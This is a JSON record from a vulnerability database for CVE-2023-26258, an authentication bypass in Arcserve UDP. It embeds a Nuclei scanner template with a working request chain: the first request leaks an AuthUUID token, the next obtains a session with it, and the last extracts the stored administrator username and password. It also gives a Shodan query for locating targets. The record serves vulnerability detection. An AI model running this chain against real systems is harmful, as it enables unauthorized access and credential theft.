{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-26258/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-26258/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-26258/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-26258/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-26258/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-26258"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-26258"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-26258.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-26258\n\ninfo:\n  name: Arcserve UDP <= 9.0.6034 - Authentication Bypass\n  author: daffainfo\n  severity: critical\n  description: |\n    Arcserve UDP through 9.0.6034 allows authentication bypass. The method getVersionInfo at WebServiceImpl/services/FlashServiceImpl leaks the AuthUUID token. This token can be used at /WebServiceImpl/services/VirtualStandbyServiceImpl to obtain a valid session. This session can be used to execute any task as administrator.\n  impact: |\n    Unauthenticated attackers can bypass authentication by leaking the AuthUUID token, allowing them to execute any administrative task and potentially compromise all backup data managed by Arcserve UDP.\n  remediation: |\n    Upgrade to Arcserve UDP version 9.1 or later that addresses this authentication bypass vulnerability.\n  reference:\n    - https://www.mdsec.co.uk/2023/06/cve-2023-26258-remote-code-execution-in-arcserve-udp-backup/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-26258\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-26258\n    epss-score: 0.39773\n    epss-percentile: 0.98572\n    cwe-id: CWE-863\n    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: arcserve\n    product: udp\n    shodan-query: http.favicon.hash:-1889244460\n  tags: cve,cve2023,arcserve,auth-bypass,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <S:Envelope xmlns:S=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <S:Body>\n            <ns2:getVersionInfo\n                xmlns:ns2=\"http://webservice.arcflash.ca.com\"\n                xmlns:ns3=\"http://backup.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns4=\"http://data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns5=\"http://export.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns6=\"http://vsphere.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns7=\"http://browse.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns8=\"http://restore.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns9=\"http://catalog.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns10=\"http://activitylog.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns11=\"http://remotedeploy.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns12=\"http://history.job.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns13=\"http://webservice.edge.arcserve.ca.com/\"/>\n          </S:Body>\n        </S:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/xml\")'\n          - 'contains(body, \"ns5:authUUID\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: auth_uuid\n        group: 1\n        part: body\n        internal: true\n        regex:\n          - '<ns5:authUUID>([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})</ns5:authUUID>'\n\n  - raw:\n      - |\n        POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1\n        Host: {{Hostname}}\n        SOAPAction: \"<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>\"\n        Content-Type: text/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <S:Envelope xmlns:S=\"http://schemas.xmlsoap.org/soap/envelope/\">\n          <S:Body>\n            <ns2:validateUserByUUID\n                xmlns:ns2=\"http://webservice.arcflash.ca.com\"\n                xmlns:ns3=\"http://backup.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns4=\"http://data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns5=\"http://export.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns6=\"http://vsphere.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns7=\"http://browse.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns8=\"http://restore.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns9=\"http://catalog.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns10=\"http://activitylog.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns11=\"http://remotedeploy.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns12=\"http://history.job.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns13=\"http://webservice.edge.arcserve.ca.com/\">\n                <arg0>{{auth_uuid}}</arg0>\n            </ns2:validateUserByUUID>\n          </S:Body>\n        </S:Envelope>\n\n      - |\n        POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1\n        Host: {{Hostname}}\n        SOAPAction: \"<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>\"\n        Content-Type: text/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n          <S:Envelope xmlns:S=\"http://schemas.xmlsoap.org/soap/envelope/\">\n            <S:Body>\n              <ns2:getLocalHostAsTrust\n                xmlns:ns2=\"http://webservice.arcflash.ca.com\"\n                xmlns:ns3=\"http://backup.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns4=\"http://data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns5=\"http://export.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns6=\"http://vsphere.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns7=\"http://browse.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns8=\"http://restore.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns9=\"http://catalog.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns10=\"http://activitylog.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns11=\"http://remotedeploy.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns12=\"http://history.job.data.webservice.arcflash.ca.com/xsd\"\n                xmlns:ns13=\"http://webservice.edge.arcserve.ca.com/\"\n              >\n              </ns2:getLocalHostAsTrust>\n            </S:Body>\n          </S:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/xml\")'\n          - 'contains_all(body, \"ns5:uuid\", \"ns5:userName\", \"ns5:password\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        group: 1\n        part: body\n        regex:\n          - '<ns5:userName>(.*?)</ns5:userName>'\n\n      - type: regex\n        group: 1\n        part: body\n        regex:\n          - '<ns5:password>(.*?)</ns5:password>'\n# digest: 4a0a00473045022100d2cd03c553f95b104a372acfeb5c37a48460fa7526519b3b4539ffe4ba213d9502202e95548cfee7834d16a8c320e1689658a1393e9691d22eec399ad10381f1d619:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-26258"
}